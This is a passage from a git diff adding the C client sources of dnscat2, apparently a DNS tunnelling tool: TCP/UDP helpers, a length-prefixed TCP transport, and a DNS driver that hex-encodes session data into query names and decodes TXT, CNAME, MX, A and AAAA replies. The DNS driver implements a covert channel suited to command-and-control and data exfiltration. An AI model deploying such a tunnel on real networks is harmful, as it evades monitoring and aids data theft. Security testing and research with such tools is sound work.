/* Connect */ + status = connect(s, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); + +#ifdef WIN32 + if(status < 0 && GetLastError() != WSAEWOULDBLOCK) +#else + if(status < 0 && errno != EINPROGRESS) +#endif + { + nberror("tcp: couldn't connect to host"); + + return -1; + } + + return s; +} + +int tcp_connect(char *host, uint16_t port) +{ + return tcp_connect_options(host, port, 0); +} + +void tcp_set_nonblocking(int s) +{ +#ifdef WIN32 + /* TODO: This */ + fprintf(stderr, "Don't know how to do nonblocking on Windows\n"); + exit(1); +#else + fcntl(s, F_SETFL, O_NONBLOCK); +#endif +} + +int tcp_listen(char *address, uint16_t port) +{ + int s; + struct sockaddr_in serv_addr; + + /* Get the server address */ + memset((char *) &serv_addr, '\0', sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + serv_addr.sin_addr.s_addr = inet_addr(address); + serv_addr.sin_port = htons(port); + + if(serv_addr.sin_addr.s_addr == INADDR_NONE) + nbdie("tcp: couldn't parse local address"); + + /* Create a socket */ + s = socket(AF_INET, SOCK_STREAM, 0); + if(s < 0) + { + nbdie("tcp: couldn't create socket"); + } + else + { + /* Bind the socket */ + if (bind(s, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) + nbdie("tcp: couldn't bind to socket"); + + /* Switch the socket to listen mode. TODO: why 20? */ + if(listen(s, 20) < 0) + nbdie("tcp: couldn't listen on socket"); + } + + return s; +} + +int tcp_accept(int listen, char **address, uint16_t *port) +{ + struct sockaddr_in addr; + socklen_t sockaddr_len = sizeof(struct sockaddr_in); + int s; + + s = accept(listen, (struct sockaddr *) &addr, &sockaddr_len); + + if(s < 0) + nbdie("tcp: couldn't accept connection"); + + *address = inet_ntoa(addr.sin_addr); + *port = ntohs(addr.sin_port); + + return s; +} + +ssize_t tcp_send(int s, void *data, size_t length) +{ + return send(s, data, length, 0); +} + +ssize_t tcp_recv(int s, void *buffer, size_t buffer_length) +{ + return recv(s, buffer, buffer_length, 0); +} + +int tcp_close(int s) +{ +#ifdef WIN32 + return closesocket(s); +#else + return close(s); +#endif +} + +#if 0 +int main(int argc, char *argv[]) +{ + char buffer[1024]; + int s; + int listener; + struct sockaddr_in addr; + int port; + size_t len; + + memset(buffer, 0, 1024); + + winsock_initialize(); + + s = tcp_connect("www.google.ca", 80); + if(s < 0) + DIE("Fail"); + tcp_send(s, "GET / HTTP/1.0\r\nHost: www.google.com\r\n\r\n", 41); + tcp_recv(s, buffer, 1024); + tcp_close(s); + + printf("%s\n", buffer); + + printf("Listening on TCP/6666\n"); + listener = tcp_listen("0.0.0.0", 6666); + s = tcp_accept(listener, &addr, &port); + + if(s < 0) + DIE("Fail"); + + printf("Connection accepted from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); + + memset(buffer, 0, 1024); + strcpy(buffer, "HELLO!"); + len = 7; + while(len > 0 && tcp_send(s, buffer, len) >= 0) + { + memset(buffer, 0, 1024); + len = tcp_recv(s, buffer, 1024); + printf("Received: %s [%d]\n", buffer, len); + } + + printf("%s\n", buffer); + return 1; +} +#endif diff --git a/client/libs/tcp.h b/client/libs/tcp.h new file mode 100644 index 0000000..a8242a5 --- /dev/null +++ b/client/libs/tcp.h @@ -0,0 +1,47 @@ +/* tcp.h + * By Ron + * Created August, 2008 + * + * (See LICENSE.md) + * + * Platform-independent module for creating/sending TCP sockets for IPv4 TCP + * connections. + */ + +#ifndef __TCP_H__ +#define __TCP_H__ + +#include "types.h" + +/* Must be called before any other functions. */ +void winsock_initialize(); + +/* Connect to the remote server on the given port. Prints an error to the screen and + * returns -1 if it fails; otherwise, returns the new socket. */ +int tcp_connect(char *host, uint16_t port); + +/* The same as tcp_connect, except it lets the user choose a non-blocking + * socket. */ +int tcp_connect_options(char *host, uint16_t port, int non_blocking); + +/* Set a socket as non-blocking. */ +void tcp_set_nonblocking(int s); + +/* Puts a socket into listening mode on the given address (use '0.0.0.0' for any). + * Returns -1 on an error, or the socket if successful. */ +int tcp_listen(char *address, uint16_t port); + +/* Accepts a connection on a listening socket. Returns the new socket if successful + * or -1 if fails. */ +int tcp_accept(int listen, char **address, uint16_t *port); + +/* Send data over the socket. Can use built-in IO functions, too. */ +ssize_t tcp_send(int s, void *data, size_t length); + +/* Receive data from the socket. Can use built-in IO functions, too. */ +ssize_t tcp_recv(int s, void *buffer, size_t buffer_length); + +/* Close the socket. */ +int tcp_close(int s); + +#endif diff --git a/client/libs/types.c b/client/libs/types.c new file mode 100644 index 0000000..fc780ef --- /dev/null +++ b/client/libs/types.c @@ -0,0 +1,118 @@ +/* types.c + * By Ron Bowes + * Created September 1, 2008 + * + * (See LICENSE.md) + */ + +#include +#include +#include +#include +#include + +#ifdef WIN32 +#include +#else +#include /* Required for dropping privileges. */ +#include +#endif + +#include "log.h" +#include "memory.h" +#include "types.h" + +void drop_privileges(char *username) +{ +#ifdef WIN32 + fprintf(stderr, "Skipping privilege drop since we're on Windows.\n"); +#else + /* Drop privileges. */ + if(getuid() == 0) + { + /* Get the user id for the given user. */ + struct passwd *user = getpwnam(username); + + if(!user) + { + fprintf(stderr, "Error: couldn't drop privileges to '%s': user not found. Please create the\n", username); + fprintf(stderr, "user or specify a better one with -u.\n"); + } + else if(user->pw_uid == 0) + { + fprintf(stderr, "Error: dropped user account has root privileges; please specify a better\n"); + fprintf(stderr, "one with -u.\n"); + } + else + { +/* fprintf(stderr, "Dropping privileges to account %s:%d.\n", user->pw_name, user->pw_uid); */ + if(setuid(user->pw_uid)) + { + LOG_FATAL("Failed to drop privileges to %s!", username); + exit(1); + } + } + + /* Ensure it succeeded. */ + if(setuid(0) == 0) + { + fprintf(stderr, "Privilege drop failed, sorry!\n"); + exit(1); + } + } +#endif +} + +int getlasterror() +{ +#ifdef WIN32 + if(errno) + return errno; + if(GetLastError()) + return GetLastError(); + return WSAGetLastError(); +#else + return errno; +#endif +} + +/* Displays an error and doesn't die. */ +void nberror(char *str) +{ + int error = getlasterror(); + +#ifdef WIN32 + char error_str[1024]; + FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, error, 0, error_str, 1024, NULL); + + if(str) + fprintf(stderr, "%s\n", str); + + fprintf(stderr, "Error %d: %s", error, error_str); + +#else + char *error_str = strerror(error); + if(str) + fprintf(stderr, "%s (error %d: %s)\n", str, error, error_str); + else + fprintf(stderr, "Error %d: %s\n", error, error_str); + +#endif +} + +void nbdie(char *str) +{ + nberror(str); + exit(EXIT_FAILURE); +} + +void print_hex(char *label, uint8_t *data, size_t length) +{ + size_t i; + + printf("%s: ", label); + for(i = 0; i < length; i++) + printf("%02x", data[i] & 0x0FF); + printf("\n"); +} + diff --git a/client/libs/types.h b/client/libs/types.h new file mode 100644 index 0000000..7664c23 --- /dev/null +++ b/client/libs/types.h @@ -0,0 +1,97 @@ +/* types.h + * By Ron Bowes + * Created September 1, 2008 + * + * (See LICENSE.md) + * + * Defines (or includes libraries that define) various required datatypes. + * + * Additionally, this module implements several miscellanious functions in a + * platform-independent way. + * + * You'll notice things with nb* names - that dates back to the + * heritage, a lot of dnscat2 stuff came from dnscat1, which was part of + * my 'nbtool' library for hacking netbios. History lesson! + */ + +#ifndef __TYPES_H__ +#define __TYPES_H__ + +#ifndef WIN32 +/* OS X doesn't seem to have INADDR_NONE defined in all cases. */ +/* If this causes a compile error on some system, try putting "#ifdef __APPLE__" + * around it. */ +#ifndef INADDR_NONE +#define INADDR_NONE ((in_addr_t) -1) +#endif +#endif + +#ifdef WIN32 +#include "pstdint.h" + +/* Define ssize_t because Windows doesn't. */ +#ifndef _SSIZE_T_DEFINED +#ifdef _WIN64 +typedef unsigned __int64 ssize_t; +#else +typedef _W64 unsigned int ssize_t; +#endif +#define _SSIZE_T_DEFINED +#endif + +#else +#include +#endif + +#include + +#ifndef TRUE +typedef enum +{ + FALSE, + TRUE +} NBBOOL; +#else +typedef int NBBOOL; +#endif + +#ifdef WIN32 +typedef int socklen_t; +#define strcasecmp _strcmpi +#define strcasestr nbstrcasestr +#define fileno _fileno +#define write _write +#endif + +#ifndef MIN +#define MIN(a,b) (a < b ? a : b) +#endif + +#ifndef MAX +#define MAX(a,b) (a > b ? a : b) +#endif + +#define DIE(a) {fprintf(stderr, "Unrecoverable error in %s(%d): %s\n\n", __FILE__, __LINE__, a); abort();} +#define DIE_MEM() {DIE("Out of memory.");} + +/* Drop privileges to the chosen user, then verify that root can't be re-enabled. */ +void drop_privileges(char *username); + +/* Get the last error, independent of platform. */ +int getlasterror(); + +/* Displays an error and doesn't die. The getlasterror() function is used as well as the appropriate + * error-message-display function for the platform. If str is non-NULL, it's also displayed. */ +void nberror(char *str); + +/* Displays an error using nberror(), then dies. */ +void nbdie(char *str); + +/* Implementation of strcasestr() for Windows. */ +char *nbstrcasestr(char *haystack, char *needle); + +/* Print a hex string, comes in handy a lot! */ +void print_hex(char *label, uint8_t *data, size_t length); + +#endif + diff --git a/client/libs/udp.c b/client/libs/udp.c new file mode 100644 index 0000000..d73811c --- /dev/null +++ b/client/libs/udp.c @@ -0,0 +1,103 @@ +/* udp.c + * By Ron + * Created August, 2008 + * + * (See LICENSE.md) + */ + +#include +#include +#include + +#ifdef WIN32 +#include +#else +#include +#include +#include +#include +#include +#include +#endif + +#include "udp.h" + +int udp_create_socket(uint16_t port, char *local_address) +{ + int s; + int value = 1; + struct sockaddr_in sox; + + s = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); + + if(s < 0) + nbdie("udp: couldn't create socket"); + + if(setsockopt(s, SOL_SOCKET, SO_BROADCAST, (void*)&value, sizeof(int)) < 0) + nbdie("udp: couldn't set socket to SO_BROADCAST"); + + sox.sin_addr.s_addr = inet_addr(local_address); + sox.sin_family = AF_INET; + sox.sin_port = htons(port); + + if(sox.sin_addr.s_addr == INADDR_NONE) + nbdie("udp: couldn't parse local address"); + + if(bind(s, (struct sockaddr *)&sox, sizeof(struct sockaddr_in)) < 0) + nbdie("udp: couldn't bind to port (are you running as root?)"); + + return s; +} + +ssize_t udp_read(int s, void *buffer, size_t buffer_length, struct sockaddr_in *from) +{ + ssize_t received; + socklen_t fromlen = sizeof(struct sockaddr_in); + + memset(from, 0, sizeof(struct sockaddr)); + + received = recvfrom(s, buffer, buffer_length, 0, (struct sockaddr *)from, &fromlen); + + if( received < 0 ) + nbdie("udp: couldn't receive data"); + + return received; +} + +ssize_t udp_send(int sock, char *address, uint16_t port, void *data, size_t length) +{ + int result = -1; + struct sockaddr_in serv_addr; + struct hostent *server; + + /* Look up the host */ + server = gethostbyname(address); + if(!server) + { + fprintf(stderr, "Couldn't find host %s\n", address); + } + else + { + /* Set up the server address */ + memset(&serv_addr, '\0', sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + serv_addr.sin_port = htons(port); + memcpy(&serv_addr.sin_addr, server->h_addr_list[0], server->h_length); + + result = sendto(sock, data, length, 0, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in)); + + if( result < 0 ) + nbdie("udp: couldn't send data"); + } + + return result; +} + +int udp_close(int s) +{ +#ifdef WIN32 + return closesocket(s); +#else + return close(s); +#endif +} diff --git a/client/libs/udp.h b/client/libs/udp.h new file mode 100644 index 0000000..1c1ec5c --- /dev/null +++ b/client/libs/udp.h @@ -0,0 +1,39 @@ +/* udp.h + * By Ron + * Created August, 2008 + * + * (See LICENSE.md) + * + * Platform-independent module for creating/sending IPv4 UDP packets. + */ + +#ifndef __UDP_H__ +#define __UDP_H__ + +/*#ifdef WIN32 +#include +#else +#include +#include +#include +#include +#endif*/ + +#include "types.h" + +/* Must be called before any other functions. This is actually defined in tcp.c. */ +void winsock_initialize(); + +/* Create a UDP socket on the given port. */ +int udp_create_socket(uint16_t port, char *local_address); + +/* Read from the new socket, filling in the 'from' field if given. Not currently being used. */ +/*ssize_t udp_read(int s, void *buffer, size_t buffer_length, struct sockaddr_in *from);*/ + +/* Send data to the given address on the given port. */ +ssize_t udp_send(int sock, char *address, uint16_t port, void *data, size_t length); + +/* Close the UDP socket. */ +int udp_close(int s); + +#endif diff --git a/client/tcpcat.c b/client/tcpcat.c new file mode 100644 index 0000000..355bbb3 --- /dev/null +++ b/client/tcpcat.c @@ -0,0 +1,256 @@ +/* options_tcp.c + * Created March/2013 + * By Ron Bowes + * + * See LICENSE.md + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "buffer.h" +#include "log.h" +#include "memory.h" +#include "select_group.h" +#include "session.h" +#include "tcp.h" +#include "ui_stdin.h" + +typedef struct +{ + session_t *session; + + int s; + char *host; + uint16_t port; + + /* This is for buffering data until we get a full packet */ + buffer_t *buffer; + + select_group_t *group; + + /* The UI */ + ui_stdin_t *ui_stdin; +} options_t; + +#define DEFAULT_HOST "localhost" +#define DEFAULT_PORT 4444 + +options_t *options = NULL; + +static SELECT_RESPONSE_t timeout(void *group, void *param) +{ + options_t *options = (options_t*) param; + + session_do_actions(options->session); + + return SELECT_OK; +} + +static SELECT_RESPONSE_t recv_callback(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param) +{ + options_t *options = (options_t*)param; + + /* Cleanup - if the buffer is empty, reset it */ + if(buffer_get_remaining_bytes(options->buffer) == 0) + buffer_clear(options->buffer); + + buffer_add_bytes(options->buffer, data, length); + + /* If we have at least a length value */ + if(buffer_get_remaining_bytes(options->buffer) >= 2) + { + /* Read the length. */ + uint16_t expected_length = buffer_peek_next_int16(options->buffer); + + /* Check if we have the full length. */ + if(buffer_get_remaining_bytes(options->buffer) - 2 >= expected_length) + { + uint8_t *data; + size_t returned_length; + + /* Consume the value we already know */ + buffer_read_next_int16(options->buffer); + + /* Read the rest of the buffer. */ + data = buffer_read_remaining_bytes(options->buffer, &returned_length, expected_length, TRUE); + + /* Sanity check. */ + assert(expected_length == returned_length); + + /* Do the callback. */ + session_recv(options->session, data, returned_length); + + /* Free it. */ + safe_free(data); + + /* Clear the buffer if it's empty. */ + if(buffer_get_remaining_bytes(options->buffer) == 0) + buffer_clear(options->buffer); + } + } + + return SELECT_OK; +} + +void tcpcat_close(options_t *options) +{ + LOG_INFO("Close()"); + + assert(options->s && options->s != -1); /* We can't close a closed socket */ + + /* Remove from the select_group */ + select_group_remove_and_close_socket(options->group, options->s); + options->s = -1; +} + +static SELECT_RESPONSE_t closed_callback(void *group, int s, void *param) +{ + options_t *options = (options_t*)param; + + LOG_ERROR("Connection closed"); + + tcpcat_close(options); + + return SELECT_OK; +} + +void tcpcat_send(uint8_t *data, size_t length, void *d) +{ + options_t *options = (options_t*) d; + buffer_t *buffer; + uint8_t *encoded_data; + size_t encoded_length; + + if(options->s == -1) + { + /* Attempt a TCP connection */ + LOG_INFO("Connecting to %s:%d", options->host, options->port); + options->s = tcp_connect(options->host, options->port); + + /* If it fails, just return (it will try again next send) */ + if(options->s == -1) + { + LOG_FATAL("Connection failed!"); + exit(1); + } + + /* If it succeeds, add it to the select_group */ + select_group_add_socket(options->group, options->s, SOCKET_TYPE_STREAM, options); + select_set_recv(options->group, options->s, recv_callback); + select_set_closed(options->group, options->s, closed_callback); + } + + assert(options->s != -1); /* Make sure we have a valid socket. */ + assert(data); /* Make sure they aren't trying to send NULL. */ + assert(length > 0); /* Make sure they aren't trying to send 0 bytes. */ + + buffer = buffer_create(BO_BIG_ENDIAN); + buffer_add_int16(buffer, length); + buffer_add_bytes(buffer, data, length); + encoded_data = buffer_create_string_and_destroy(buffer, &encoded_length); + + if(tcp_send(options->s, encoded_data, encoded_length) == -1) + { + LOG_ERROR("[[TCP]] send error, closing socket!"); + tcpcat_close(options); + } +} + +void cleanup() +{ + LOG_INFO("[[tcpcat]] :: Terminating"); + + if(options) + { + session_destroy(options->session, options->group); + + /* Ensure the options is closed */ + if(options->s != -1) + tcpcat_close(options); + buffer_destroy(options->buffer); + safe_free(options); + options = NULL; + } + + print_memory(); +} + +int main(int argc, char *argv[]) +{ + /* Define the options specific to the DNS protocol. */ + struct option long_options[] = + { + {"host", required_argument, 0, 0}, + {"port", required_argument, 0, 0}, + {0, 0, 0, 0} /* End */ + }; + char c; + int option_index; + const char *option_name; + + options = safe_malloc(sizeof(options_t)); + + srand(time(NULL)); + + /* Set up some default options. */ + options->s = -1; + + options->host = DEFAULT_HOST; + options->port = DEFAULT_PORT; + options->buffer = buffer_create(BO_BIG_ENDIAN); + options->group = select_group_create(); + options->session = session_create(options->group, tcpcat_send, options, 65535); + + /* Parse the command line options. */ + opterr = 0; + while((c = getopt_long_only(argc, argv, "", long_options, &option_index)) != EOF) + { + switch(c) + { + case 0: + option_name = long_options[option_index].name; + + if(!strcmp(option_name, "host")) + { + options->host = optarg; + } + else if(!strcmp(option_name, "port")) + { + options->port = atoi(optarg); + } + else + { + LOG_FATAL("Unknown option: %s\n", option_name); + exit(1); + /* TODO: Usage */ + } + break; + + case '?': + default: + /* Do nothing; we expect some unknown arguments. */ + break; + } + } + + /* Tell the user what's going on */ + LOG_INFO("Host: %s\n", options->host); + LOG_INFO("Port: %d\n", options->port); + + atexit(cleanup); + + /* Add the timeout function */ + select_set_timeout(options->group, timeout, (void*)options); + + while(TRUE) + select_group_do_select(options->group, 1000); + + return 0; +} + diff --git a/client/tunnel_drivers/driver_dns.c b/client/tunnel_drivers/driver_dns.c new file mode 100644 index 0000000..993f64e --- /dev/null +++ b/client/tunnel_drivers/driver_dns.c @@ -0,0 +1,465 @@ +/* driver_dns.c + * Created July/2013 + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include +#include + +#include "controller/controller.h" +#include "libs/buffer.h" +#include "libs/dns.h" +#include "libs/log.h" +#include "libs/memory.h" +#include "libs/types.h" +#include "libs/udp.h" + +#include "driver_dns.h" + +#define MAX_FIELD_LENGTH 62 +#define MAX_DNS_LENGTH 255 +#define WILDCARD_PREFIX "dnscat" + +/* The max length is a little complicated: + * 255 because that's the max DNS length + * Halved, because we encode in hex + * Minus the length of the domain, which is appended + * Minus 1, for the period right before the domain + * Minus the number of periods that could appear within the name + */ +#define MAX_DNSCAT_LENGTH(domain) ((255/2) - (domain ? strlen(domain) : strlen(WILDCARD_PREFIX)) - 1 - ((MAX_DNS_LENGTH / MAX_FIELD_LENGTH) + 1)) + +#define HEXCHAR(c) ((c) < 10 ? ((c)+'0') : (((c)-10) + 'a')) + +static SELECT_RESPONSE_t dns_data_closed(void *group, int socket, void *param) +{ + LOG_FATAL("DNS socket closed!"); + exit(0); + + return SELECT_OK; +} + +static uint8_t *remove_domain(char *str, char *domain) +{ + if(domain) + { + char *fixed = NULL; + + if(!strstr(str, domain)) + { + LOG_ERROR("The response didn't contain the domain name: %s", str); + return NULL; + } + + /* The server returns an empty domain name for all errors. */ + if(!strcmp(str, domain)) + { + LOG_INFO("The response was just the domain name: %s", str); + return NULL; + } + + fixed = safe_strdup(str); + fixed[strlen(str) - strlen(domain) - 1] = '\0'; + + return (uint8_t*)fixed; + } + else + { + return (uint8_t*)safe_strdup(str += strlen(WILDCARD_PREFIX)); + } +} + +static uint8_t *buffer_decode_hex(uint8_t *str, size_t *length) +{ + size_t i = 0; + buffer_t *out = buffer_create(BO_BIG_ENDIAN); + + while(i < *length) + { + uint8_t c1 = 0; + uint8_t c2 = 0; + + /* Read the first character, ignoring periods */ + do + { + c1 = toupper(str[i++]); + } while(c1 == '.' && i < *length); + + /* Make sure we aren't at the end of the buffer. */ + if(i >= *length) + { + LOG_ERROR("Couldn't hex-decode the name (name was an odd length): %s", str); + return NULL; + } + + /* Make sure we got a hex digit */ + if(!isxdigit(c1)) + { + LOG_ERROR("Couldn't hex-decode the name (contains non-hex characters): %s", str); + return NULL; + } + + /* Read the second character. */ + do + { + c2 = toupper(str[i++]); + } while(c2 == '.' && i < *length); + + /* Make sure we got a hex digit */ + if(!isxdigit(c2)) + { + LOG_ERROR("Couldn't hex-decode the name (contains non-hex characters): %s", str); + return NULL; + } + + c1 = ((c1 < 'A') ? (c1 - '0') : (c1 - 'A' + 10)); + c2 = ((c2 < 'A') ? (c2 - '0') : (c2 - 'A' + 10)); + + buffer_add_int8(out, (c1 << 4) | c2); + } + + return buffer_create_string_and_destroy(out, length); +} + +static int cmpfunc_a(const void *a, const void *b) +{ + return ((const answer_t*)a)->answer->A.bytes[0] - ((const answer_t*)b)->answer->A.bytes[0]; +} + +#ifndef WIN32 +static int cmpfunc_aaaa(const void *a, const void *b) +{ + return ((const answer_t*)a)->answer->AAAA.bytes[0] - ((const answer_t*)b)->answer->AAAA.bytes[0]; +} +#endif + +static dns_type_t get_type(driver_dns_t *driver) +{ + return driver->types[rand() % driver->type_count]; +} + +static void do_send(driver_dns_t *driver) +{ + size_t i; + dns_t *dns; + buffer_t *buffer; + uint8_t *encoded_bytes; + size_t encoded_length; + uint8_t *dns_bytes; + size_t dns_length; + size_t section_length; + + size_t length; + uint8_t *data = controller_get_outgoing((size_t*)&length, (size_t)MAX_DNSCAT_LENGTH(driver->domain)); + + /* If we aren't supposed to send anything (like we're waiting for a timeout), + * data is NULL. */ + if(!data) + return; + + assert(driver->s != -1); /* Make sure we have a valid socket. */ + assert(data); /* Make sure they aren't trying to send NULL. */ + assert(length > 0); /* Make sure they aren't trying to send 0 bytes. */ + assert(length <= MAX_DNSCAT_LENGTH(driver->domain)); + + buffer = buffer_create(BO_BIG_ENDIAN); + + /* If no domain is set, add the wildcard prefix at the start. */ + if(!driver->domain) + { + buffer_add_bytes(buffer, (uint8_t*)WILDCARD_PREFIX, strlen(WILDCARD_PREFIX)); + buffer_add_int8(buffer, '.'); + } + + /* Keep track of the length of the current section (the characters between two periods). */ + section_length = 0; + for(i = 0; i < length; i++) + { + buffer_add_int8(buffer, HEXCHAR((data[i] >> 4) & 0x0F)); + buffer_add_int8(buffer, HEXCHAR((data[i] >> 0) & 0x0F)); + + /* Add periods when we need them. */ + section_length += 2; + if(i + 1 != length && section_length + 2 >= MAX_FIELD_LENGTH) + { + section_length = 0; + buffer_add_int8(buffer, '.'); + } + } + + /* If a domain is set, instead of the wildcard prefix, add the domain to the end. */ + if(driver->domain) + { + buffer_add_int8(buffer, '.'); + buffer_add_bytes(buffer, driver->domain, strlen(driver->domain)); + } + buffer_add_int8(buffer, '\0'); + + /* Get the result out. */ + encoded_bytes = buffer_create_string_and_destroy(buffer, &encoded_length); + + /* Double-check we didn't mess up the length. */ + assert(encoded_length <= MAX_DNS_LENGTH); + + dns = dns_create(_DNS_OPCODE_QUERY, _DNS_FLAG_RD, _DNS_RCODE_SUCCESS); + dns_add_question(dns, (char*)encoded_bytes, get_type(driver), _DNS_CLASS_IN); + dns_bytes = dns_to_packet(dns, &dns_length); + + LOG_INFO("Sending DNS query for: %s to %s:%d", encoded_bytes, driver->dns_server, driver->dns_port); + udp_send(driver->s, driver->dns_server, driver->dns_port, dns_bytes, dns_length); + + safe_free(dns_bytes); + safe_free(encoded_bytes); + safe_free(data); + + dns_destroy(dns); +} + +static SELECT_RESPONSE_t timeout_callback(void *group, void *param) +{ + do_send((driver_dns_t*)param); + controller_heartbeat(); + + return SELECT_OK; +} + +static SELECT_RESPONSE_t recv_socket_callback(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param) +{ + /*driver_dns_t *driver_dns = param;*/ + dns_t *dns = dns_create_from_packet(data, length); + driver_dns_t *driver = (driver_dns_t*) param; + + LOG_INFO("DNS response received (%d bytes)", length); + + if(dns->rcode != _DNS_RCODE_SUCCESS) + { + switch(dns->rcode) + { + case _DNS_RCODE_FORMAT_ERROR: + LOG_ERROR("DNS: RCODE_FORMAT_ERROR"); + break; + case _DNS_RCODE_SERVER_FAILURE: + LOG_ERROR("DNS: RCODE_SERVER_FAILURE"); + break; + case _DNS_RCODE_NAME_ERROR: + LOG_ERROR("DNS: RCODE_NAME_ERROR"); + break; + case _DNS_RCODE_NOT_IMPLEMENTED: + LOG_ERROR("DNS: RCODE_NOT_IMPLEMENTED"); + break; + case _DNS_RCODE_REFUSED: + LOG_ERROR("DNS: RCODE_REFUSED"); + break; + default: + LOG_ERROR("DNS: Unknown error code (0x%04x)", dns->rcode); + break; + } + } + else if(dns->question_count != 1) + { + LOG_ERROR("DNS returned the wrong number of response fields (question_count should be 1, was instead %d).", dns->question_count); + LOG_ERROR("This is probably due to a DNS error"); + } + else if(dns->answer_count < 1) + { + LOG_ERROR("DNS didn't return an answer"); + LOG_ERROR("This is probably due to a DNS error"); + } + else + { + size_t i; + + uint8_t *answer = NULL; + uint8_t *tmp_answer = NULL; + size_t answer_length = 0; + dns_type_t type = dns->answers[0].type; + + if(type == _DNS_TYPE_TEXT) + { + LOG_INFO("Received a TXT response: %s", dns->answers[0].answer->TEXT.text); + + /* Get the answer. */ + tmp_answer = dns->answers[0].answer->TEXT.text; + answer_length = dns->answers[0].answer->TEXT.length; + + /* Decode it. */ + answer = buffer_decode_hex(tmp_answer, &answer_length); + } + else if(type == _DNS_TYPE_CNAME) + { + LOG_INFO("Received a CNAME response: %s", (char*)dns->answers[0].answer->CNAME.name); + + /* Get the answer. */ + tmp_answer = remove_domain((char*)dns->answers[0].answer->CNAME.name, driver->domain); + if(!tmp_answer) + { + answer = NULL; + } + else + { + answer_length = strlen((char*)tmp_answer); + + /* Decode it. */ + answer = buffer_decode_hex(tmp_answer, &answer_length); + safe_free(tmp_answer); + } + } + else if(type == _DNS_TYPE_MX) + { + LOG_INFO("Received a MX response: %s", (char*)dns->answers[0].answer->MX.name); + + /* Get the answer. */ + tmp_answer = remove_domain((char*)dns->answers[0].answer->MX.name, driver->domain); + if(!tmp_answer) + { + answer = NULL; + } + else + { + answer_length = strlen((char*)tmp_answer); + LOG_INFO("Received a MX response (%zu bytes)", answer_length); + + /* Decode it. */ + answer = buffer_decode_hex(tmp_answer, &answer_length); + safe_free(tmp_answer); + } + } + else if(type == _DNS_TYPE_A) + { + buffer_t *buf = buffer_create(BO_BIG_ENDIAN); + + qsort(dns->answers, dns->answer_count, sizeof(answer_t), cmpfunc_a); + + for(i = 0; i < dns->answer_count; i++) + buffer_add_bytes(buf, dns->answers[i].answer->A.bytes + 1, 3); + + answer_length = buffer_read_next_int8(buf); + LOG_INFO("Received an A response (%zu bytes)", answer_length); + + answer = safe_malloc(answer_length); + buffer_read_bytes_at(buf, 1, answer, answer_length); + } +#ifndef WIN32 + else if(type == _DNS_TYPE_AAAA) + { + buffer_t *buf = buffer_create(BO_BIG_ENDIAN); + + qsort(dns->answers, dns->answer_count, sizeof(answer_t), cmpfunc_aaaa); + + for(i = 0; i < dns->answer_count; i++) + buffer_add_bytes(buf, dns->answers[i].answer->AAAA.bytes + 1, 15); + + answer_length = buffer_read_next_int8(buf); + LOG_INFO("Received an AAAA response (%zu bytes)", answer_length); + + answer = safe_malloc(answer_length); + buffer_read_bytes_at(buf, 1, answer, answer_length); + } +#endif + else + { + LOG_ERROR("Unknown DNS type returned: %d", type); + answer = NULL; + } + + if(answer) + { + /*LOG_WARNING("Received a %zu-byte DNS response: %s [0x%04x]", answer_length, answer, type);*/ + + /* Pass the buffer to the caller */ + if(answer_length > 0) + { + /* Pass the data elsewhere. */ + if(controller_data_incoming(answer, answer_length)) + do_send(driver); + } + + safe_free(answer); + } + } + + dns_destroy(dns); + + return SELECT_OK; +} + +driver_dns_t *driver_dns_create(select_group_t *group, char *domain, char *host, uint16_t port, char *types, char *server) +{ + driver_dns_t *driver = (driver_dns_t*) safe_malloc(sizeof(driver_dns_t)); + char *token = NULL; + + /* Create the actual DNS socket. */ + LOG_INFO("Creating UDP (DNS) socket on %s", host); + driver->s = udp_create_socket(0, host); + if(driver->s == -1) + { + LOG_FATAL("Couldn't create UDP socket!"); + exit(1); + } + + /* Set the domain and stuff. */ + driver->group = group; + driver->domain = domain; + driver->dns_port = port; + driver->dns_server = server; + + /* Allow the user to choose 'any' protocol. */ + if(!strcmp(types, "ANY")) + types = DNS_TYPES; + + /* Make a copy of types, since strtok() changes it. */ + types = safe_strdup(types); + + driver->type_count = 0; + for(token = strtok(types, ", "); token && driver->type_count < DNS_MAX_TYPES; token = strtok(NULL, ", ")) + { + if(!strcmp(token, "TXT") || !strcmp(token, "TEXT")) + driver->types[driver->type_count++] = _DNS_TYPE_TEXT; + else if(!strcmp(token, "MX")) + driver->types[driver->type_count++] = _DNS_TYPE_MX; + else if(!strcmp(token, "CNAME")) + driver->types[driver->type_count++] = _DNS_TYPE_CNAME; + else if(!strcmp(token, "A")) + driver->types[driver->type_count++] = _DNS_TYPE_A; +#ifndef WIN32 + else if(!strcmp(token, "AAAA")) + driver->types[driver->type_count++] = _DNS_TYPE_AAAA; +#endif + } + + /* Now that we no longer need types. */ + safe_free(types); + + if(driver->type_count == 0) + { + LOG_FATAL("You didn't pass any valid DNS types to use! Allowed types are "DNS_TYPES); + exit(1); + } + + /* If it succeeds, add it to the select_group */ + select_group_add_socket(group, driver->s, SOCKET_TYPE_STREAM, driver); + select_set_recv(group, driver->s, recv_socket_callback); + select_set_timeout(group, timeout_callback, driver); + select_set_closed(group, driver->s, dns_data_closed); + + return driver; +} + +void driver_dns_destroy(driver_dns_t *driver) +{ + safe_free(driver); +} + +void driver_dns_go(driver_dns_t *driver) +{ + /* Do a fake timeout at the start so we can get going more quickly. */ + timeout_callback(driver->group, driver); + + /* Loop forever and poke the socket. */ + while(TRUE) + select_group_do_select(driver->group, 50); +} diff --git a/client/tunnel_drivers/driver_dns.h b/client/tunnel_drivers/driver_dns.h new file mode 100644 index 0000000..5c777a5 --- /dev/null +++ b/client/tunnel_drivers/driver_dns.h @@ -0,0 +1,54 @@ +/* driver_dns.h + * By Ron Bowes + * + * See LICENSE.md + * + * This is a "tunnel driver" for DNS. What that means is, it converts data + * on the wire - in this case, DNS packets - into a stream of bytes that + * form the actual dnscat protocol. + * + * By abstracting out the 'tunnel protocol' from the 